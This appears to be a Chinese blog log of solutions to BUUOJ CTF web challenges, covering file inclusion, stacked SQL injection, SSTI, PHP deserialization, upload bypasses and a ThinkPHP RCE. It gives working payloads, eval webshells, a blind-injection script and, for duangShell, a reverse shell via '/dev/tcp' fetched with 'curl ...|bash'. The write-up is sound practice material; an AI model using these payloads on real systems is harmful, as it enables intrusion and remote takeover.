Buuoj刷题记录

记录buuoj写过的题

web

[HCTF 2018]WarmUp

F12看到存在source.php,跳转后看到代码

 "source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } ?>

可以看到考点为文件包含,传入的file参数先会检查是否在白名单中,第二个是检查传入的字符串中‘?’前的字符串是否在白名单中,第三个是先进行url解码再截取,其实可以直接第二个就构造payload得到flag

Payload:

http://f5c2ee8f-ee5f-4469-bad8-86c15a958352.node3.buuoj.cn/source.php?file=hint.php?/…/…/…/…/…/ffffllllaaaagggg

Buuoj刷题记录_第1张图片

截取通过后,include会将hint.php?/ 作为目录,然后不断前转目录,到根目录包含ffffllllaaaagggg
也有的情况?后会被解析为get提交的参数,此时可将’?’进行二次url编码。

[强网杯 2019]随便注

(sqlmap仅能跑出库名,表名为空)

先使用 1’ or 1=1–+ 发现存在注入

Buuoj刷题记录_第2张图片

加’后报错,然后order by猜出字段为2,union select 1,2 后返回:
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
发现过滤了常用词。

使用堆叠注入:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

1’;show tables;–+ //查看表名

Buuoj刷题记录_第3张图片

?inject=1’;show columns from `1919810931114514`;–+

?inject=1’;show columns from `words`;–+

(要在表名加``否则无回显)

MySQL中反引号和单引号的区别与用法:

  1. MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名

  2. 引号用来标注语句中所引用的字符型常量或时间型常量,即字段值

  3. 例如:select * from `username` where `name`=“name”

Buuoj刷题记录_第4张图片

Buuoj刷题记录_第5张图片

可以看到flag在1919810931114514中

方法一

因为语句被过滤严重,但并为过滤改名语句,所以思路是借助本身查询语句,也就是将1919810931114514改名为words,将flag改为id

/?inject=1’;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flagid` VARCHAR(100);–+

(搜寻中看到有可能修改失败,所以有另一语句:/?inject=1’;RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;–+

)

改完后输入:1’ or 1=1 --+即可查到flag

Buuoj刷题记录_第6张图片

堆叠注入:https://www.cnblogs.com/0nth3way/articles/7128189.html

方法二

用handler语句代替select,具体见本篇[GYCTF2020]Blacklist

http://ecaf9ef5-ff55-4a72-b878-6fe965d670f6.node3.buuoj.cn/?inject=1';handler `1919810931114514` open; handler `1919810931114514` read first; --+

[SUCTF 2019]EasySQL

三种查询结果:

Buuoj刷题记录_第7张图片

Buuoj刷题记录_第8张图片

Buuoj刷题记录_第9张图片

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N3dO3bG8-1628491027055)(\Buuoj刷题记录.assets\clip_image008.jpg)]

可堆叠注入:1;show databases; show tables;

网上搜到原题泄露了查询语句:select $_POST[query] || flag from flag

两种方法:

  1. *,1

  2. 1;set sql_mode=PIPES_AS_CONCAT;select 1

解析:

  • 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
  • 但在mysql 缺省不支持。需要调整mysql 的sql_mode
    模式:pipes_as_concat 来实现oracle 的一些功能。

参考:https://blog.csdn.net/qq_42158602/article/details/103930598

[NPUCTF2020]ezinclude

Buuoj刷题记录_第10张图片

由注释可知为MD5哈希长度拓展攻击

Buuoj刷题记录_第11张图片

但是响应包已经返回hash,直接get提交参数path=fa25e54758d5d5c1927781a6ede89f8a,提交后重定向404

Buuoj刷题记录_第12张图片

点击堆栈追踪可看到代码

Buuoj刷题记录_第13张图片

view-source:http://6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php 读取文件

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

过滤了ls,data,input,没办法命令执行获取当前文件夹下的内容

[ACTF2020 新生赛]Include

Buuoj刷题记录_第14张图片

http://f86e6a77-36b2-45db-ac74-9ba92c007216.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

基本的文件包含

[ACTF2020 新生赛]Upload

用bp绕过前端验证,上传一句话,发现php已进黑名单

Buuoj刷题记录_第15张图片

返回版本为5.6,改后缀为phtml绕过黑名单验证,成功上传,连接后在根目录发现flag

Buuoj刷题记录_第16张图片

[ACTF2020 新生赛]Exec

命令执行中的|

127.0.0.1 | ls …/…/…/

127.0.0.1 | cat …/…/…/flag

[BJDCTF2020]Easy MD5

Buuoj刷题记录_第17张图片

响应头提示select * from 'admin' where password=md5($pass,true)

md5注入

如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回

输入ffifdyop即可

进入下一页面,查看注释

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

数组绕过http://2cef2e26-08ad-44ad-938c-10498dad8ab0.node3.buuoj.cn/levels91.php?a[]=1&b[]=2

下一页面


error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

post数组绕过param1[]=1¶m2[]=2

[BJDCTF2020]Mark loves cat

显示网站界面,使用dirmap扫描到目录http://02b87379-34da-48ba-8bf7-e98327689a95.node3.buuoj.cn/.git/config

有git泄露,使用githack得到源码(githack使用的是python2,而且有时候恢复地不全,需要多恢复几次)

githack使用的是py2,推荐共存2和3的文章

flag.php



$flag = file_get_contents('/flag');

index.php



include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

考察变量覆盖http://2778652f-ca93-4bd4-a661-53f90a9abd3d.node3.buuoj.cn/?yds=flag

第二个foreach将 y d s 赋 值 为 yds赋值为 ydsflag,然后不设置post和get中的flag参数,就直接退出并返回$yds,也就是赋值的flag

[BJDCTF2020]The mystery of ip

查看hint

获取ip的方式,网上有很多php获取ip的代码,大同小异,很多都获取了xxf和XFF或Client-IP这两个header作为ip,这两个都可以通过header伪造

发现ssti

获得flag

[BJDCTF2020]Cookie is so stable

Buuoj刷题记录_第18张图片

hint

Why not take a closer look at cookies?

发现ssti

Buuoj刷题记录_第19张图片]

学习链接

Buuoj刷题记录_第20张图片

经测试为twig模板

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

获得flag

[BJDCTF2020]EasySearch

访问index.php.swp获取源码


	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            

Hello,'.$_POST['username'].'

*** ***'
; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo ""; }else { *** } *** ?>

要满足密码md5加密后的前;六位等于6d0bc1

import hashlib

i=0

while True:
    md5 = hashlib.md5(str(i).encode()).hexdigest()
    md5=md5[0:6]
    if md5=="6d0bc1":
        print(i)
        break
    i=i+1

跑出密码2020666

登录

Buuoj刷题记录_第21张图片

Buuoj刷题记录_第22张图片

ssi注入

将用户名改为

Buuoj刷题记录_第23张图片

Buuoj刷题记录_第24张图片

[BJDCTF2020]ZJCTF,不过如此

得到代码



error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>

使用data协议,filter协议

http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/?text=data://,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace代码执行

http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/next.php?\S*=${eval($_POST[1])}

根目录找到flag

Buuoj刷题记录_第25张图片

[BJDCTF2020]EzPHP

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
"
; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"
; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"
); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"
; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="
); } else { include "flag.php"; $code('', $arg); } ?>

第一部分:

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

过滤了很多关键字,但是确是通过$_SERVER获取,$_SERVER['QUERY_STRING'],不会对内容url解码,但GET会,所以对字符url编码绕过,hackbar的url编码只会对特殊字符编码,找到这个网站,可以对所有字母复杂编码:

第二部分:

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!
"
; } } else die('fxck you! What do you want to do ?!');

使用换行符%0a绕过,aqua_is_cute%0a

第三部分:

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

$_REQUEST可获取GET和POST方式的传参,如果两种方式同时传同一个参,则会有优先级,默认为POST的优先级大于GET,所以可以同时post同名参数绕过此限制。

POST:debu=1&file=1

第四部分:

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"
);

使用data协议file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

第五部分

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?
"
; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }

sha1无法处理数组,处理时返回false,所以用数组绕过

shana[]=1&passwd[]=2

前几部分总payload:

payload:http://28aafe4c-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

POST:debu=1&file=1

第五部分:

payload:http://28aafe4c-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

[MRCTF2020]Ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

第一个用数组或0e绕过,第二部分用php特性绕过var_dump(123==‘123a’); bool(true)

payload

http://af591e00-6e3b-4808-beba-d688fba5fb3d.node3.buuoj.cn/?id[]=1&gg[]=2

POST:passwd=1234567a

[MRCTF2020]你传你呢

上传1.jpg

开始以为是nginx,上传.user.ini,后面发现是apache,故上传2.jpg SetHandler application/x-httpd-php burp改为.hatcess,成功拿到shell,菜刀链接,在根目录发现flag

Buuoj刷题记录_第26张图片

upload.php源码


session_start();
echo "
";
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("我扌your problem?");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
			mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
			move_uploaded_file($uploaded_tmp, $t_path);
			echo "{$t_path} succesfully uploaded!";
        }
        else{
            die("我扌your problem?");
        }
    }
}
?>

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }

利用Modifier中的include包含flag.php,需要控制$var的值和调用__invoke,而当对象当作函数使用时会调用__invoke,可以看到class Test中__get的方法可使成员作为函数使用,当访问不存在的成员变量时会调用__get,class Show中的__toString,会访问str中的source,所以使str为Test对象,这个对象中没有source,就会调用__get,当把对象当作字符串时会调用__toString,所以使source为show对象,当执行__wakeup即可调用__toString,pop链构造完毕。

Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()

exp:

?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
    public $p;
	
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();


echo urlencode(serialize($a));

?>

Buuoj刷题记录_第27张图片

[MRCTF2020]Ezpop_Reveng

[MRCTF2020]套娃

Buuoj刷题记录_第28张图片

使用php解析字符串的特性绕过 利用PHP的字符串解析特性Bypass

payload

b%20u%20p%20t=23333%0A

b%20u%20p%20t经过处理后存入数组的值为b_u_p_t,%0A为换行符。

Buuoj刷题记录_第29张图片

访问secrettw.php,发现jsfuck。

Buuoj刷题记录_第30张图片

控制台运行

Buuoj刷题记录_第31张图片

post后获得源码

Flag is here~But how to get it? <?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."
"
; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>

使用Client-IP伪造ip,使用data协议控制输入流,控制file_get_contents的值

伪造ip:X-Client-IP: X-Remote-IP: X-Remote-Addr: X-Originating-IP: X-Forwarded-For: client-ip:

http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat is a happy day&file=flag.php

Buuoj刷题记录_第32张图片

编写加密函数

function rechange($v="flag.php"){ 
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    $v = base64_encode($re); 
    return $v; 
}

http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

Buuoj刷题记录_第33张图片

[GKCTF2020]cve版签到

CVE-2020-7066

get_headers():可以通过服务器的响应头来判断远程文件是否存在

get_headers()会截断URL中空字符后的内容,也就是会截断%00后的字符

Buuoj刷题记录_第34张图片

http://fe290372-6178-4c81-8314-dd7f71ce1ec4.node3.buuoj.cn/?url=http://127.0.0.1%00www.ctfhub.com

Buuoj刷题记录_第35张图片

改为http://fe290372-6178-4c81-8314-dd7f71ce1ec4.node3.buuoj.cn/?url=http://127.0.0.123%00www.ctfhub.com

Buuoj刷题记录_第36张图片

[GKCTF2020]CheckIN

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

base64编码后可rce

phpinfo(); --> cGhwaW5mbygpOw==

http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

查找disable_functions

Buuoj刷题记录_第37张图片

eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==

http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==

蚂剑连接,发现打不开根目录下的flag,但是有readflag文件

看wp发现环境为php7.3,可用用bypass PHP7.0-7.3 disable_function的PoC

改下命令

Buuoj刷题记录_第38张图片

上传至temp目录(有上传权限),然后包含它。

payload

http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==

POST:1=include('/tmp/exp.php');

Buuoj刷题记录_第39张图片

[GKCTF2020]EZ三剑客-EzWeb

[GKCTF2020]EZ三剑客-EzTypecho

[BJDCTF 2nd]fake google

jinja2 ssti

payload

http://a59cb797-5668-400c-a511-a4f94c890709.node3.buuoj.cn/qaq?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat%20../../../../flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

[BJDCTF 2nd]old-hack

thinkphp5.0.23命令执行

payload

http://52bd483e-0bea-4679-b32b-1afd54ad8f9a.node3.buuoj.cn/

POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat ../../../../flag

[BJDCTF 2nd]假猪套天下第一

Buuoj刷题记录_第40张图片

扫描目录,发现.DS_Store

.DS_Store 文件利用 .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

下载后在Linux中cat DS_Store

Buuoj刷题记录_第41张图片

输入L0gln.php,跳转至index.php,做了登录检测

随便输入用户名密码即可登录

输入L0gln.php,把time值改大

Buuoj刷题记录_第42张图片

Buuoj刷题记录_第43张图片

接下来也是一些header的限制,直接放出最终的包,可参考后面的header详解

Buuoj刷题记录_第44张图片

Header:请求头参数详解

Header 解释 示例
Accept 指定客户端能够接收的内容类型 Accept: text/plain, text/html,application/json
Accept-Charset 浏览器可以接受的字符编码集。 Accept-Charset: iso-8859-5
Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型。 Accept-Encoding: compress, gzip
Accept-Language 浏览器可接受的语言 Accept-Language: en,zh
Accept-Ranges 可以请求网页实体的一个或者多个子范围字段 Accept-Ranges: bytes
Authorization HTTP授权的授权证书 Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control 指定请求和响应遵循的缓存机制 Cache-Control: no-cache
Connection 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) Connection: close
Cookie HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 Cookie: $Version=1; Skin=new;
Content-Length 请求的内容长度 Content-Length: 348
Content-Type 请求的与实体对应的MIME信息 Content-Type: application/x-www-form-urlencoded
Date 请求发送的日期和时间 Date: Tue, 15 Nov 2010 08:12:31 GMT
Expect 请求的特定的服务器行为 Expect: 100-continue
From 发出请求的用户的Email From: [email protected]
Host 指定请求的服务器的域名和端口号 Host: www.zcmhi.com
If-Match 只有请求内容与实体相匹配才有效 If-Match: “737060cd8c284d8af7ad3082f209582d”
If-Modified-Since 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
If-None-Match 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 If-None-Match: “737060cd8c284d8af7ad3082f209582d”
If-Range 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag If-Range: “737060cd8c284d8af7ad3082f209582d”
If-Unmodified-Since 只在实体在指定时间之后未被修改才请求成功 If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards 限制信息通过代理和网关传送的时间 Max-Forwards: 10
Pragma 用来包含实现特定的指令 Pragma: no-cache
Proxy-Authorization 连接到代理的授权证书 Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Range 只请求实体的一部分,指定范围 Range: bytes=500-999
Referer 先前网页的地址,当前请求网页紧随其后,即来路 Referer: http://www.zcmhi.com/archives…
TE 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 TE: trailers,deflate;q=0.5
Upgrade 向服务器指定某种传输协议以便服务器进行转换(如果支持) Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
User-Agent User-Agent的内容包含发出请求的用户信息 User-Agent: Mozilla/5.0 (Linux; X11)
Via 通知中间网关或代理服务器地址,通信协议 Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning 关于消息实体的警告信息 Warn: 199 Miscellaneous warning

[BJDCTF 2nd]简单注入

发现hint.txt

username='a\' and password='or 2>1#' 

使用脚本盲注

import requests

url = "http://09a83584-46f6-4e80-ab85-83d5a1c8f99d.node3.buuoj.cn/"

data = {"username": "admin\\", "password": ""}
flag = ""
i = 0

while (True):
    i = i + 1
    head = 32
    tail = 127

    while (head < tail):
        mid = (head + tail) >> 1

        payload = f"or/**/if(ascii(substr(password,{i},1))>{mid},1,0)#"

        data['password'] = payload
        r = requests.post(url, data=data)

        if "stronger" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        flag += chr(head)
    else:
        break
    print(flag)

Buuoj刷题记录_第45张图片

Buuoj刷题记录_第46张图片

登录获取flag

[BJDCTF 2nd]xss之光

.git泄露,得到index.php


$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

反序列化,但是没有可用的类,于是利用php内置类来反序列化

学习文章

由于有个echo,所以可利用to_string(),反序列化,如Error(适用于php7版本),Exception(适用于php5、7版本)等,并且php版本为5,所以用Error

payload


$a = new Exception("");
#$a= new Exception("");
echo urlencode(serialize($a));
?>

直接在返回包中发现flag

[BJDCTF 2nd]duangShell

b059cc88-89f4-48da-8849-893289ce611c.node3.buuoj.cn/.index.php.swp

发现swp泄露

vim -r index.php.swp

<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."
"
; if (!isset($_POST['girl_friend'])) { die("where is P3rh4ps's girl friend ???"); } else { $girl = $_POST['girl_friend']; if (preg_match('/\>|\\\/', $girl)) { die('just girl'); } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) { echo " "; } else { //duangShell~~~~ exec($girl); } }

过滤了$,不能使用

a=ca;b=t;c=flag;$ab $c

过滤了base64,不能使用

echo “Y2F0IGZsYWc=” | base64 -d

Buuoj刷题记录_第47张图片

看了下别人的wp,发现是要反弹shell

学习链接

1

2

在注册一个小号,开buu的一个内网靶机,靶机的80端口是打开的,所以可以使受攻击网站服务器访问攻击机web文件

/var/www/html,创建1.txt写入bash -i >& ``/dev/tcp/``[ip]/[port] 0>&1,ip为自己的ip,端口任意

然后执行nc -lvvp [port],监听端口

在目标网站POSTgirl_friend=curl http://[ip]/[文件名]|bash,获得shell

执行find / -name *flag*

cat flag即可

[BJDCTF 2nd]文件探测

发现hint

Buuoj刷题记录_第48张图片

跳转到http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=system

Buuoj刷题记录_第49张图片

使用伪协议

http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=php://filter/read=convert.base64-encode/resource=home

home.php



setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

